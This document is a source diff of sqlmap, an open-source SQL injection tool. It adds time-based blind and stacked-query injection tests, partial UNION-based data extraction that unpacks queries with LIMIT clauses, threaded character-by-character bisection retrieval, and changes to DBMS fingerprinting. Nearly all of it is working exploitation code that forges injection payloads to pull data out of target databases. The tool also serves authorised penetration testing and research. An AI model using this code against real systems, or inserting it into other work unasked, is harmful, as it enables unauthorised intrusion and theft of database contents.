||||
|
||||
@@ -296,7 +278,6 @@ def __goInband(expression, expected=None):
|
||||
injection vulnerability on the affected parameter.
|
||||
"""
|
||||
|
||||
counter = None
|
||||
output = None
|
||||
partial = False
|
||||
data = []
|
||||
@@ -313,49 +294,10 @@ def __goInband(expression, expected=None):
|
||||
partial = True
|
||||
|
||||
if not output:
|
||||
output = unionUse(expression)
|
||||
|
||||
fields = expression.split(",")
|
||||
counter = len(fields)
|
||||
output = unionUse(expression, resetCounter=True)
|
||||
|
||||
if output:
|
||||
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
||||
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
|
||||
|
||||
if outCond1 or outCond2:
|
||||
if outCond1:
|
||||
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
|
||||
elif outCond2:
|
||||
regExpr = '__START__(.*?)__STOP__'
|
||||
|
||||
output = re.findall(regExpr, output, re.S)
|
||||
|
||||
if partial or not condition:
|
||||
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
||||
|
||||
output = set(output)
|
||||
|
||||
for entry in output:
|
||||
info = []
|
||||
|
||||
if "__DEL__" in entry:
|
||||
entry = entry.split("__DEL__")
|
||||
else:
|
||||
entry = entry.split(temp.delimiter)
|
||||
|
||||
if len(entry) == 1:
|
||||
data.append(entry[0])
|
||||
else:
|
||||
for value in entry:
|
||||
info.append(value)
|
||||
|
||||
data.append(info)
|
||||
else:
|
||||
data = output
|
||||
|
||||
if len(data) == 1 and isinstance(data[0], str):
|
||||
data = data[0]
|
||||
data = parseUnionPage(output, expression, partial, condition)
|
||||
|
||||
return data
|
||||
|
||||
@@ -375,7 +317,29 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
|
||||
if inband and conf.unionUse and kb.dbms:
|
||||
value = __goInband(expression, expected)
|
||||
|
||||
if not value:
|
||||
warnMsg = "for some reasons it was not possible to retrieve "
|
||||
warnMsg += "the query output through inband SQL injection "
|
||||
warnMsg += "technique, sqlmap is going blind"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.paramNegative = False
|
||||
|
||||
if blind and not value:
|
||||
value = __goInferenceProxy(expression, fromUser, expected)
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def goStacked(expression):
|
||||
"""
|
||||
TODO: write description
|
||||
"""
|
||||
|
||||
comment = queries[kb.dbms].comment
|
||||
query = agent.prefixQuery("; %s" % expression)
|
||||
query = agent.postfixQuery("%s;%s" % (query, comment))
|
||||
payload = agent.payload(newValue=query)
|
||||
page, _ = Request.queryPage(payload, content=True)
|
||||
|
||||
return payload, page
|
||||
|
||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToSessionFile
|
||||
@@ -34,7 +35,10 @@ from lib.core.common import replaceNewlineTabs
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapValueException
|
||||
from lib.core.exception import sqlmapThreadException
|
||||
from lib.core.exception import unhandledException
|
||||
from lib.core.progress import ProgressBar
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
@@ -46,10 +50,13 @@ def bisection(payload, expression, length=None):
|
||||
on an affected host
|
||||
"""
|
||||
|
||||
partialValue = ""
|
||||
finalValue = ""
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, fieldToCast = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCast)
|
||||
expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1)
|
||||
_, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
||||
else:
|
||||
expressionUnescaped = unescaper.unescape(expression)
|
||||
@@ -102,6 +109,7 @@ def bisection(payload, expression, length=None):
|
||||
maxValue = limit
|
||||
|
||||
if (maxValue - minValue) == 1:
|
||||
# NOTE: this first condition should never occur
|
||||
if maxValue == 1:
|
||||
return None
|
||||
else:
|
||||
@@ -145,7 +153,7 @@ def bisection(payload, expression, length=None):
|
||||
val = getChar(curidx)
|
||||
|
||||
if val == None:
|
||||
raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||
|
||||
value[curidx-1] = val
|
||||
|
||||
@@ -157,9 +165,38 @@ def bisection(payload, expression, length=None):
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||
iolock.release()
|
||||
|
||||
|
||||
def downloadThreadProxy(numThread):
|
||||
try:
|
||||
downloadThread()
|
||||
|
||||
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
||||
conf.threadException = True
|
||||
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
||||
|
||||
except KeyboardInterrupt:
|
||||
conf.threadException = True
|
||||
|
||||
print
|
||||
logger.debug("waiting for threads to finish")
|
||||
|
||||
try:
|
||||
while (threading.activeCount() > 1):
|
||||
pass
|
||||
|
||||
except KeyboardInterrupt:
|
||||
raise sqlmapThreadException, "user aborted"
|
||||
|
||||
except:
|
||||
conf.threadException = True
|
||||
errMsg = unhandledException()
|
||||
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
||||
traceback.print_exc()
|
||||
|
||||
|
||||
# Start the threads
|
||||
for _ in range(numThreads):
|
||||
thread = threading.Thread(target=downloadThread)
|
||||
for numThread in range(numThreads):
|
||||
thread = threading.Thread(target=downloadThreadProxy(numThread))
|
||||
thread.start()
|
||||
threads.append(thread)
|
||||
|
||||
@@ -167,19 +204,27 @@ def bisection(payload, expression, length=None):
|
||||
for thread in threads:
|
||||
thread.join()
|
||||
|
||||
assert None not in value
|
||||
# If we have got one single character not correctly fetched it
|
||||
# can mean that the connection to the target url was lost
|
||||
if None in value:
|
||||
for v in value:
|
||||
if isinstance(v, str) and v != None:
|
||||
partialValue += v
|
||||
|
||||
value = "".join(value)
|
||||
if partialValue:
|
||||
finalValue = partialValue
|
||||
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue)
|
||||
else:
|
||||
finalValue = "".join(value)
|
||||
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue)
|
||||
|
||||
assert index[0] == length
|
||||
if isinstance(finalValue, str) and len(finalValue) > 0:
|
||||
dataToSessionFile(replaceNewlineTabs(finalValue))
|
||||
|
||||
dataToSessionFile(replaceNewlineTabs(value))
|
||||
|
||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value))
|
||||
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
|
||||
dataToStdout(infoMsg)
|
||||
|
||||
else:
|
||||
value = ""
|
||||
index = 0
|
||||
|
||||
while True:
|
||||
@@ -190,7 +235,7 @@ def bisection(payload, expression, length=None):
|
||||
if val == None:
|
||||
break
|
||||
|
||||
value += val
|
||||
finalValue += val
|
||||
|
||||
dataToSessionFile(replaceNewlineTabs(val))
|
||||
|
||||
@@ -203,9 +248,13 @@ def bisection(payload, expression, length=None):
|
||||
dataToStdout("\n")
|
||||
|
||||
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
||||
infoMsg = "retrieved: %s" % value
|
||||
infoMsg = "retrieved: %s" % finalValue
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not partialValue:
|
||||
dataToSessionFile("]\n")
|
||||
|
||||
return queriesCount[0], value
|
||||
if conf.threadException:
|
||||
raise sqlmapThreadException, "something unexpected happen into the threads"
|
||||
|
||||
return queriesCount[0], finalValue
|
||||
85
lib/techniques/blind/timebased.py
Normal file
85
lib/techniques/blind/timebased.py
Normal file
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.settings import SECONDS
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def timeTest():
|
||||
infoMsg = "testing time based blind sql injection on parameter "
|
||||
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
timeQuery = queries[kb.dbms].timedelay % SECONDS
|
||||
|
||||
query = agent.prefixQuery(" AND %s" % timeQuery)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
start = time.time()
|
||||
_ = Request.queryPage(payload)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if duration >= SECONDS:
|
||||
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||
infoMsg += "based blind sql injection with AND condition syntax"
|
||||
logger.info(infoMsg)
|
||||
|
||||
kb.timeTest = payload
|
||||
|
||||
else:
|
||||
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
|
||||
warnMsg += "based blind sql injection with AND condition syntax"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
infoMsg = "testing time based blind sql injection on parameter "
|
||||
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
start = time.time()
|
||||
payload, _ = inject.goStacked(timeQuery)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if duration >= SECONDS:
|
||||
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||
infoMsg += "based blind sql injection with stacked query syntax"
|
||||
logger.info(infoMsg)
|
||||
|
||||
kb.timeTest = payload
|
||||
else:
|
||||
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
|
||||
warnMsg += "based blind sql injection with stacked query syntax"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.timeTest = False
|
||||
|
||||
return kb.timeTest
|
||||
@@ -28,6 +28,7 @@ from lib.core.agent import agent
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.session import setUnion
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
@@ -92,9 +93,9 @@ def unionTest():
|
||||
|
||||
value = ""
|
||||
|
||||
query = agent.prefixQuery("UNION ALL SELECT NULL")
|
||||
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
||||
|
||||
for comment in ("--", "#", "/*", ";", "%00"):
|
||||
for comment in (queries[kb.dbms].comment, ""):
|
||||
value = __effectiveUnionTest(query, comment)
|
||||
|
||||
if value:
|
||||
|
||||
@@ -24,14 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import parseUnionPage
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.session import setUnion
|
||||
@@ -39,12 +42,23 @@ from lib.core.unescaper import unescaper
|
||||
from lib.parse.html import htmlParser
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
def __unionPosition(count, expression):
|
||||
logMsg = "confirming inband sql injection on parameter "
|
||||
logMsg += "'%s'" % kb.injParameter
|
||||
logger.info(logMsg)
|
||||
reqCount = 0
|
||||
|
||||
|
||||
def __unionPosition(expression, negative=False):
|
||||
global reqCount
|
||||
|
||||
if negative:
|
||||
negLogMsg = "partial"
|
||||
else:
|
||||
negLogMsg = "full"
|
||||
|
||||
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
|
||||
infoMsg += "'%s'" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
# For each column of the table (# of NULL) perform a request using
|
||||
# the UNION ALL SELECT statement to test it the target url is
|
||||
@@ -64,17 +78,17 @@ def __unionPosition(count, expression):
|
||||
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
|
||||
payload = agent.payload(newValue=query)
|
||||
payload = agent.payload(newValue=query, negative=negative)
|
||||
|
||||
# Perform the request
|
||||
resultPage = Request.queryPage(payload, content=True)
|
||||
count += 1
|
||||
resultPage, _ = Request.queryPage(payload, content=True)
|
||||
reqCount += 1
|
||||
|
||||
# We have to assure that the randQuery value is not within the
|
||||
# HTML code of the result page because, for instance, it is there
|
||||
# when the query is wrong and the back-end DBMS is Microsoft SQL
|
||||
# server
|
||||
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
|
||||
htmlParsed = htmlParser(resultPage)
|
||||
|
||||
if randQuery in resultPage and not htmlParsed:
|
||||
setUnion(position=exprPosition)
|
||||
@@ -82,29 +96,39 @@ def __unionPosition(count, expression):
|
||||
break
|
||||
|
||||
if isinstance(kb.unionPosition, int):
|
||||
logMsg = "the target url is affected by an exploitable "
|
||||
logMsg += "inband sql injection vulnerability"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "the target url is affected by an exploitable "
|
||||
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "the target url is not affected by an exploitable "
|
||||
warnMsg += "inband sql injection vulnerability, sqlmap will "
|
||||
warnMsg += "retrieve the expression output through blind sql "
|
||||
warnMsg += "injection technique"
|
||||
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
|
||||
|
||||
if negLogMsg == "partial":
|
||||
warnMsg += ", sqlmap will retrieve the query output "
|
||||
warnMsg += "through blind sql injection technique"
|
||||
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return count
|
||||
|
||||
|
||||
def unionUse(expression):
|
||||
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
||||
"""
|
||||
This function tests for an inband SQL injection on the target
|
||||
url then call its subsidiary function to effectively perform an
|
||||
inband SQL injection on the affected url
|
||||
"""
|
||||
|
||||
count = 0
|
||||
count = None
|
||||
origExpr = expression
|
||||
start = time.time()
|
||||
startLimit = 0
|
||||
stopLimit = None
|
||||
test = True
|
||||
value = ""
|
||||
|
||||
global reqCount
|
||||
|
||||
if resetCounter == True:
|
||||
reqCount = 0
|
||||
|
||||
if not kb.unionCount:
|
||||
unionTest()
|
||||
@@ -113,42 +137,164 @@ def unionUse(expression):
|
||||
return
|
||||
|
||||
# Prepare expression with delimiters
|
||||
if unescape:
|
||||
expression = agent.concatQuery(expression)
|
||||
expression = unescaper.unescape(expression)
|
||||
|
||||
# Confirm the inband SQL injection and get the exact column
|
||||
# position only once
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
count = __unionPosition(count, expression)
|
||||
__unionPosition(expression)
|
||||
|
||||
# Assure that the above function found the exploitable inband
|
||||
# Assure that the above function found the exploitable full inband
|
||||
# SQL injection position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
__unionPosition(expression, True)
|
||||
|
||||
# Assure that the above function found the exploitable partial
|
||||
# inband SQL injection position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
return
|
||||
else:
|
||||
conf.paramNegative = True
|
||||
|
||||
if conf.paramNegative == True and direct == False:
|
||||
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
infoMsg += "sqlmap will now unpack it into distinct queries "
|
||||
infoMsg += "to be able to retrieve the output even if we "
|
||||
infoMsg += "are in front of a partial inband sql injection"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# We have to check if the SQL query might return multiple entries
|
||||
# and in such case forge the SQL limiting the query output one
|
||||
# entry per time
|
||||
# NOTE: I assume that only queries that get data from a table can
|
||||
# return multiple entries
|
||||
if " FROM " in expression:
|
||||
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
||||
|
||||
if limitRegExp:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
|
||||
# I assume that only queries NOT containing a "LIMIT #, 1"
|
||||
# (or similar depending on the back-end DBMS) can return
|
||||
# multiple entries
|
||||
if limitCond:
|
||||
if limitRegExp:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or similar, depending on the back-end DBMS) word
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
stopLimit += startLimit
|
||||
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||
expression = expression[:untilLimitChar]
|
||||
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||
test = False
|
||||
else:
|
||||
test = True
|
||||
|
||||
if test == True:
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
||||
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
||||
|
||||
if re.search(" ORDER BY ", expression, re.I):
|
||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||
countedExpression = countedExpression[:untilOrderChar]
|
||||
|
||||
count = resume(countedExpression, None)
|
||||
|
||||
if not stopLimit:
|
||||
if not count or not count.isdigit():
|
||||
output = unionUse(countedExpression, direct=True)
|
||||
|
||||
if output:
|
||||
count = parseUnionPage(output, countedExpression)
|
||||
|
||||
if count and count.isdigit() and int(count) > 0:
|
||||
stopLimit = int(count)
|
||||
|
||||
infoMsg = "the SQL query provided returns "
|
||||
infoMsg += "%d entries" % stopLimit
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif count and not count.isdigit():
|
||||
warnMsg = "it was not possible to count the number "
|
||||
warnMsg += "of entries for the SQL query provided. "
|
||||
warnMsg += "sqlmap will assume that it returns only "
|
||||
warnMsg += "one entry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
stopLimit = 1
|
||||
|
||||
elif ( not count or int(count) == 0 ):
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
||||
output = unionUse(limitedExpr, direct=True, unescape=False)
|
||||
|
||||
if output:
|
||||
value += output
|
||||
|
||||
return value
|
||||
|
||||
value = unionUse(expression, direct=True, unescape=False)
|
||||
|
||||
else:
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(expression)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
logMsg = "query: %s" % query
|
||||
logger.info(logMsg)
|
||||
infoMsg = "query: %s" % query
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Perform the request
|
||||
resultPage = Request.queryPage(payload, content=True)
|
||||
count += 1
|
||||
resultPage, _ = Request.queryPage(payload, content=True)
|
||||
reqCount += 1
|
||||
|
||||
if temp.start not in resultPage or temp.stop not in resultPage:
|
||||
return
|
||||
|
||||
duration = int(time.time() - start)
|
||||
|
||||
logMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||
logger.info(logMsg)
|
||||
|
||||
# Parse the returned page to get the exact inband
|
||||
# sql injection output
|
||||
startPosition = resultPage.index(temp.start)
|
||||
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
|
||||
value = str(resultPage[startPosition:endPosition])
|
||||
|
||||
duration = int(time.time() - start)
|
||||
|
||||
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
|
||||
logger.info(infoMsg)
|
||||
|
||||
return value
|
||||
|
||||
@@ -22,22 +22,4 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def passiveFuzzing():
|
||||
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
|
||||
logger.info(logMsg)
|
||||
|
||||
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
|
||||
|
||||
for fuzzVector in fuzzVectors:
|
||||
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
|
||||
|
||||
payload = agent.payload(newValue=fuzzVector)
|
||||
Request.queryPage(payload)
|
||||
pass
|
||||
60
lib/techniques/outband/stacked.py
Normal file
60
lib/techniques/outband/stacked.py
Normal file
@@ -0,0 +1,60 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.settings import SECONDS
|
||||
from lib.request import inject
|
||||
|
||||
|
||||
def stackedTest():
|
||||
infoMsg = "testing stacked queries support on parameter "
|
||||
infoMsg += "'%s'" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = queries[kb.dbms].timedelay % SECONDS
|
||||
start = time.time()
|
||||
payload, _ = inject.goStacked(query)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if duration >= SECONDS:
|
||||
infoMsg = "the web application supports stacked queries "
|
||||
infoMsg += "on parameter '%s'" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
kb.stackedTest = payload
|
||||
|
||||
else:
|
||||
warnMsg = "the web application does not support stacked queries "
|
||||
warnMsg += "on parameter '%s'" % kb.injParameter
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.stackedTest = False
|
||||
|
||||
return kb.stackedTest
|
||||
@@ -30,6 +30,7 @@ import urllib2
|
||||
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapRegExprException
|
||||
|
||||
@@ -68,13 +69,9 @@ class Google:
|
||||
your Google dork search results
|
||||
"""
|
||||
|
||||
targetUrls = set()
|
||||
|
||||
for match in self.__matches:
|
||||
if re.search("(.*?)\?(.+)", match, re.I):
|
||||
targetUrls.add(match)
|
||||
|
||||
return targetUrls
|
||||
kb.targetUrls.add(( match, None, None, None ))
|
||||
|
||||
|
||||
def getCookie(self):
|
||||
|
||||
@@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
@@ -40,14 +41,18 @@ def checkForParenthesis():
|
||||
is within the parenthesis.
|
||||
"""
|
||||
|
||||
if kb.parenthesis != None:
|
||||
return kb.parenthesis
|
||||
|
||||
logMsg = "testing for parenthesis on injectable parameter"
|
||||
logger.info(logMsg)
|
||||
|
||||
count = 0
|
||||
|
||||
if kb.parenthesis != None:
|
||||
return
|
||||
|
||||
if conf.prefix or conf.postfix:
|
||||
kb.parenthesis = 0
|
||||
return
|
||||
|
||||
for parenthesis in range(1, 4):
|
||||
query = agent.prefixQuery("%s " % (")" * parenthesis))
|
||||
query += "AND %s" % ("(" * parenthesis)
|
||||
|
||||
@@ -32,7 +32,7 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.techniques.inference.blind import bisection
|
||||
from lib.techniques.blind.inference import bisection
|
||||
|
||||
|
||||
def queryOutputLength(expression, payload):
|
||||
@@ -126,7 +126,7 @@ def resume(expression, payload):
|
||||
|
||||
# If we called this function without providing a payload it means that
|
||||
# we have called it from lib/request/inject __goInband() function
|
||||
# in UNION SELECT (inband) SQL injection so we return to the calling
|
||||
# in UNION query (inband) SQL injection so we return to the calling
|
||||
# function so that the query output will be retrieved taking advantage
|
||||
# of the inband SQL injection vulnerability.
|
||||
if not payload:
|
||||
|
||||
@@ -28,6 +28,7 @@ import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
@@ -35,7 +36,6 @@ from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
@@ -43,10 +43,8 @@ from lib.core.session import setDbms
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MSSQL_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.banner import bannerParser
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
#from lib.utils.fuzzer import passiveFuzzing
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -124,16 +122,32 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
actVer = formatFingerprint()
|
||||
value = ""
|
||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return actVer
|
||||
|
||||
blank = " " * 16
|
||||
value = "active fingerprint: %s" % actVer
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if self.banner:
|
||||
release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML)
|
||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
actVer = formatDBMSfp()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += actVer
|
||||
return value
|
||||
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
release = kb.bannerFp["dbmsRelease"]
|
||||
version = kb.bannerFp["dbmsVersion"]
|
||||
servicepack = kb.bannerFp["dbmsServicePack"]
